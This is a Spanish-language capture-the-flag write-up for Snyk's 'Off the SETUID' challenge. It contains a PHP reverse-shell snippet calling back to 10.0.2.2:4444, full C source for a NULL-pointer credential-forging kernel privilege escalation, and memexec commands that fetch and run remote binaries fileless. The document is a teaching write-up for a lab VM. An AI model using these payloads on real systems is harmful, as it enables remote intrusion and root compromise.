Skip to main content

Snyk Fetch the Flag CTF 2023: solución de Off the SETUID

Escrito por
Headshot of Carlos Polop

Carlos Polop

Headshot of Yago Gutiérrez

Yago Gutiérrez

snyk ctf off the setuid

30 de noviembre de 2023

0 minutos de lectura

¡Gracias por jugar Fetch con nosotros! Felicitaciones a los miles de jugadores que participaron en Fetch the Flag CTF. Si participaste en Fetch the Flag 2023 de Snyk y buscas la respuesta al desafío Off the SETUID, llegaste al lugar indicado. ¡Veamos la solución paso a paso!

Estás en un entorno desconocido. ¿Puedes arreglártelas con lo que tienes? O, ¿puedes simplemente vivir...

Obtén la bandera del directorio de inicio del usuario root.

Este es un caso extraño. ¿Es un desafío web o uno de explotación del kernel?

Tenemos un script de qemu, un kernel compilado (con su respectivo .diff) y una imagen initramfs (junto con el código del programa init). Para empezar, podemos descomprimir initramfs y echar un vistazo.

¿Con distribución o sin distribución?

$ zstdcat -d - < ../initramfs.img | cpio -i
172272 bloques
$ ls -l
total 48
lrwxrwxrwx 1 arget arget     8 oct 30 22:00 bin -> usr/bin/
drwxr-xr-x 2 arget arget  4096 oct 30 22:00 dev
drwxr-xr-x 2 arget arget  4096 oct 30 22:00 etc
drwxr-xr-x 2 arget arget  4096 oct 30 22:00 home
-rwxr-xr-x 1 arget arget 16264 oct 30 22:00 init
lrwxrwxrwx 1 arget arget     8 oct 30 22:00 lib64 -> /usr/lib
drwxr-xr-x 2 arget arget  4096 oct 30 22:00 proc
drwx------ 2 arget arget  4096 oct 30 22:00 root
drwxr-xr-x 2 arget arget  4096 oct 30 22:00 sys
drwxr-xr-x 4 arget arget  4096 oct 30 22:00 usr
drwxr-xr-x 3 arget arget  4096 oct 30 22:00 var
$ ls usr/bin/
php
$ ls -l root/flag.txt 
-r-------- 1 arget arget 25 oct 30 22:00 root/flag.txt

Bien, sin distribución. No hay shell, ni utilidades comunes, ni nada. Evidentemente, el programa init está compilado (no hay shell, así que no puede ser un script), pero también tenemos su código fuente:

// [Definition of add_dev_addr() and default_gw()]
int main()
{
	mknod("/dev/null" , 0666 | S_IFCHR, makedev(1, 3));
	mknod("/dev/ttyS0", 0660 | S_IFCHR, makedev(4, 64));

	mount("proc", "/proc", "proc" , MS_NOEXEC | MS_NODEV | MS_NOSUID, NULL);
	mount("sysfs", "/sys", "sysfs", MS_NOEXEC | MS_NODEV | MS_NOSUID, NULL);
	mount(NULL, "/", NULL, MS_REMOUNT | MS_RDONLY, NULL);

	int fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_IP);
	add_dev_addr(fd, "10.0.2.15", "255.255.255.0");
	default_gw(fd, inet_addr("10.0.2.2"));
	close(fd);

	if (!fork())
	{
		setresuid(100, 100, 100);
		chdir("/var/run");
		execl("/usr/bin/php", "php", "-S", "0:8080", NULL);
		err(1, "Something failed");
	}
	wait(NULL);

	reboot(RB_POWER_OFF);
}

Hace lo típico que hace un script init: inicializa algunos dispositivos, monta procfs y sysfs (con noexec), vuelve a montar rootfs como solo lectura e inicializa la red. Luego inicia un servidor HTTP que escucha en el puerto 8080, con el directorio raíz en /var/run y como usuario con uid=100.

En /var/run, solo hay un index.php:

// [CSS stuff]
<h2>Super Secure PHP Code Evaluator</h2>
<div class="container">
    <form method="post">
        <input type="text" name="code" placeholder="Enter code" required>
        <br>
        <button type="submit">Eval Code</button>
    </form>
    <?php
    if ($_SERVER['REQUEST_METHOD'] == 'POST') {
        $code = $_POST['code'];
        eval($code);
    }
    ?>
</div>
<br><br><br>
<a href="?debug">Show Source Code</a>

<?php
if (isset($_GET['debug'])) {
    highlight_file(__FILE__);
}
?>

En resumen, tenemos un servidor HTTP claramente vulnerable a la inyección de código PHP, así que podemos usar algo como lo siguiente para obtener una shell interactiva inversa en PHP:

$s = fsockopen("10.0.2.2", 4444);
proc_open(['php', '-a'], array(0 => $s, 1 => $s, 2 => $s), $p);

Pero no podemos leer la bandera porque solo root puede hacerlo. Por lo tanto, tenemos que encontrar una forma de escalar privilegios. Aquí entra fun_setuid.diff.

fun_setuid()

En el archivo .diff vemos que se agregó una nueva syscall al kernel:

struct cred* prepare_user_creds(kuid_t kuid)
{
	struct cred* new;
	long retval;
	if (!uid_valid(kuid))
		return NULL;

	new = prepare_creds();
	if (!new)
		return (struct cred*) -ENOMEM;

	new->uid   = kuid;
	retval = set_user(new);
	if (retval < 0)
		goto error;
	new->euid  = kuid;
	new->suid  = kuid;
	new->fsuid = kuid;

	retval = security_task_fix_setuid(new, current_cred(), LSM_SETID_RES);
	if (retval < 0)
		goto error;

	retval = set_cred_ucounts(new);
	if (retval < 0)
		goto error;

	flag_nproc_exceeded(new);
	return new;

error:
	abort_creds(new);
	return (struct cred*) retval;
}

long __sys_fun_setuid(uid_t uid)
{
	const struct cred* old;
	struct cred* new;
	kuid_t kuid = make_kuid(current_user_ns(), uid);

	old = current_cred();

	if (uid_lt(kuid, old->uid) &&
	    !ns_capable_setid(old->user_ns, CAP_SETUID))
		return -EPERM;

	new = prepare_user_creds(kuid);
	if (new < 0)
		return (long) new;

	return commit_creds(new);
}

SYSCALL_DEFINE1(fun_setuid, uid_t, uid)
{
	return __sys_fun_setuid(uid);
}

En resumen, esta syscall permite que un proceso cambie su uid por otro, siempre y cuando sea mayor que el actual (o que el proceso tenga la capacidad CAP_SETUID).

La syscall usa una función auxiliar llamada prepare_user_creds(), que a su vez usa prepare_cred() para asignar un nuevo struct cred, luego lo modifica para que corresponda al nuevo usuario y lo devuelve. Si ocurre un error, devuelve el valor negativo de un código de error. Por eso, la función syscall verifica que el valor devuelto no sea negativo antes de confirmar las credenciales (consulta la Nota de diseño a continuación). También comprueba que el uid solicitado sea válido (es decir, que no sea igual a -1); si no lo es, devuelve NULL.

Nota de diseño

Este diseño también tiene dos problemas graves:

  • En C, comparar una dirección con cero no funciona. Simplemente no funciona. Las direcciones se tratan como tipos sin signo, así que verificar si una es negativa no tiene sentido. Por eso, el compilador elimina por completo el if.

  • Aunque el compilador no lo eliminara, el código seguiría sin funcionar porque en Linux para x86, las direcciones del kernel siempre son negativas. Así que, incluso cuando prep_user_creds() no encuentra ningún problema, el puntero struct cred* que devuelve se interpreta como negativo y no se confirma.

Credencialismo

El problema es que la función syscall no verifica esta última posibilidad, así que podría confirmar un puntero NULL como puntero a nuestra estructura de credenciales. Después de modificar initramfs para agregar un busybox, podemos ejecutar sysctl vm.mmap_min_addr para ver la dirección mínima que un proceso puede asignar en este sistema. Si necesitamos depurar más, también tenemos /proc/config.gz.

Vemos que mmap_min_addr=0 y también que en el script run.sh la máquina virtual no tiene SMAP habilitado... ¡genial! Podemos asignar la dirección NULL, colocar allí una estructura de credenciales para root y llamar a fun_setuid(-1) para que nuestro puntero de credenciales apunte a NULL, es decir, a nuestras credenciales falsas.

#include <unistd.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <err.h>

#define __NR_fun_setuid 452
long fun_setuid(uid_t uid)
{
	return syscall(__NR_fun_setuid, uid);
}

struct cred
{
	int		usage;
	unsigned	uid;
	unsigned	gid;
	unsigned	suid;
	unsigned	sgid;
	unsigned	euid;
	unsigned	egid;
	unsigned	fsuid;
	unsigned	fsgid;
	unsigned	securebits;
	unsigned long	cap_inheritable;
	unsigned long	cap_permitted;
	unsigned long	cap_effective;
	unsigned long	cap_bset;
	unsigned long	cap_ambient;
	// ... pointers to stuff I don't care about
};

int main(int argc, char** argv)
{
	char buf[100];
	int fd;
	struct cred* cred = NULL;

	void* map = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
			MAP_ANON | MAP_PRIVATE | MAP_FIXED, -1, 0);
	if (map == MAP_FAILED)
		err(1, "mmap()");

	*cred = (struct cred) { 1, 0, 0, 0, 0, 0, 0, 0, -1, -1, -1, -1, -1 };

	printf("uid = %u\n", getuid());
	fun_setuid(-1);
	printf("uid = %u\n", getuid());

	fd = open("/root/flag.txt", O_RDONLY);
	write(0, buf, read(fd, buf, sizeof buf));
	close(fd);

	pause(); // If you don't look it isn't there :P
	return 0;

En realidad no necesitamos cambiar las capacidades, pero ya que estamos aquí, podemos hacerlo para ganar puntos extra. Ten en cuenta que es muy importante establecer cred->usage=1 (que funciona como un contador de referencias) o el kernel creerá que se trata de un error UAF (BUG_ON(atomic_read(&new->usage) < 1)).

Tampoco podemos dejar que este proceso termine, o el kernel intentará liberar esta estructura, y eso no sería bueno. Por eso no podemos iniciar una shell (llamar a execve() implica, en última instancia, que el proceso actual termine); de ahí el pause() al final.

Pero todavía tenemos un problema: no podemos cargar el exploit en ningún lugar para ejecutarlo. Podemos convertirlo en shellcode y usar código PHP para escribir en el archivo mem de procfs del proceso PHP, y así lograr la ejecución arbitraria de código nativo. Desde allí, podemos ejecutar mmap() con NULL, colocar credenciales falsas y llamar a fun_setuid(-1), ya que no podemos hacer nada de esto con un script PHP…

Pero eso no es lo suficientemente genial.

Memexec

Hace unos meses, dimos una charla en DEFCON 31 sobre cómo evadir, en determinadas circunstancias, los entornos sin distribución. Para eso, yo (Yago Gutiérrez) desarrollé una herramienta llamada memexec que permite ejecutar cualquier programa que quieras, sin archivos, en PHP.

Solo tienes que pegar esta sesión interactiva de PHP. A partir de ahora, tendrás una función memexec() que acepta dos argumentos: el URI de un binario y un arreglo de argumentos para el programa. Por ejemplo, podemos configurar un servidor HTTP con busybox y ejecutar comandos en el sistema:

php > memexec("http://10.0.2.2:8888/busybox", ["ls", "-la", "/"]);
memexec("http://10.0.2.2:8888/busybox", ["ls", "-la", "/"]);
total 16
drwxr-xr-x   10 root     root           260 Oct 24 22:42 .
drwxr-xr-x   10 root     root           260 Oct 24 22:42 ..
lrwxrwxrwx    1 root     root             8 Oct 24 22:31 bin -> usr/bin/
drwxr-xr-x    2 root     root           100 Oct 31 10:39 dev
drwxr-xr-x    2 root     root           120 Oct 24 22:53 etc
drwxr-xr-x    2 root     root            40 Oct 24 18:25 home
-rwxr-xr-x    1 root     root         16264 Oct 24 22:42 init
lrwxrwxrwx    1 root     root             8 Oct 24 18:25 lib64 -> /usr/lib
dr-xr-xr-x  102 root     root             0 Oct 31 10:39 proc
drwx------    2 root     root            60 Oct 24 18:25 root
dr-xr-xr-x   12 root     root             0 Oct 31 10:39 sys
drwxr-xr-x    4 root     root            80 Oct 24 18:25 usr
drwxr-xr-x    3 root     root            60 Oct 24 18:25 var
php > memexec("http://10.0.2.2:8888/busybox", ["mount"]);
memexec("http://10.0.2.2:8888/busybox", ["mount"]);
rootfs on / type rootfs (ro,size=94428k,nr_inodes=23607)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
php > 

Importante: No hay bibliotecas SSL en la máquina virtual, así que asegúrate de no usar HTTPS.

Muy bien, explotemos este kernel de una vez por todas.

php > memexec("http://10.0.2.2:8888/x", []);
memexec("http://10.0.2.2:8888/x", []);
the flag will be here...

¡Gracias por hacer posible Fetch!

¡Muchísimas gracias a todos los equipos de Fetch the Flag 2023! Fue genial verlos a todos allí. Siempre pueden encontrarnos en @Arget (@arget13 en GH) y @carlospolop (@carlospop también en GH).

Aquí están las soluciones de los otros desafíos de 2023. ¡Échales un vistazo!

Publicado en: